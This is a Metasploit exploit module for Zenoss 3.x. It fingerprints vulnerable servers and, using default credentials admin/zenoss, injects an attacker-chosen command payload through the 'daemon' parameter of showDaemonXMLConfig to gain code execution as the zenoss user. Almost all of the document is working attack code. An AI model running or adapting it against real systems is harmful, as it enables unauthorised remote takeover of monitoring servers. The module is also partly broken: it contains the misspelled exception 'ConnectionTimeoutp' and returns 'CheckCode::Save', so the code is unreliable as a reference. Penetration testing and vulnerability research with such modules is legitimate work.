##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Zenoss 3 showDaemonXMLConfig Command Execution',
      'Description'    => %q{
        This module exploits a command execution vulnerability in Zenoss 3.x
        which could be abused to allow authenticated users to execute arbitrary
        code under the context of the 'zenoss' user. The show_daemon_xml_configs()
        function in the 'ZenossInfo.py' script calls Popen() with user
        controlled data from the 'daemon' parameter.
      },
      'References'     =>
        [
          ['URL', 'http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/'],
          ['OSVDB', '84408']
        ],
      'Author'         =>
        [
          'bcoles', # Discovery and exploit
        ],
      'License'        => MSF_LICENSE,
      'Privileged'     => false,
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "\x00",
          'DisableNops' => true,
          'Compat'	=>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic python perl',
            },
        },
      'Targets'        =>
        [
          [
            'Automatic Targeting', { 'auto' => true }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2012-07-30'
    ))

    register_options([
      Opt::RPORT(8080),
      OptString.new('USERNAME', [true, 'The Zenoss username', 'admin']),
      OptString.new('PASSWORD', [true, 'The Zenoss password', 'zenoss'])
    ])
  end

  def check
    # retrieve software version from login page
    begin
      res = send_request_raw({
        'method' => "GET",
        'uri'    => "/zport/acl_users/cookieAuthHelper/login_form"
      })
      return Exploit::CheckCode::Appears if res.body =~ /<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
      return Exploit::CheckCode::Detected   if res.body =~ /<link rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico" \/>/
      return Exploit::CheckCode::Safe
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Save
  end

  def exploit
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    command  = URI::DEFAULT_PARSER.escape(payload.encoded)+"%26"
    postdata = "__ac_name=#{username}&__ac_password=#{password}&daemon=#{command}"

    # send payload
    print_status("Sending payload to Zenoss (#{command.length.to_s} bytes)")
    begin
      res = send_request_cgi({
        'method'    => 'POST',
        'uri'       => "/zport/About/showDaemonXMLConfig",
        'data'      => "#{postdata}",
      })
      if res and res['Bobo-Exception-Type'] =~ /^Unauthorized$/
        print_error("Authentication failed. Incorrect username/password.")
        return
      end
      print_good("Sent payload successfully")
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("Connection failed")
    rescue
      print_error("Sending payload failed")
    end

    handler

  end
end

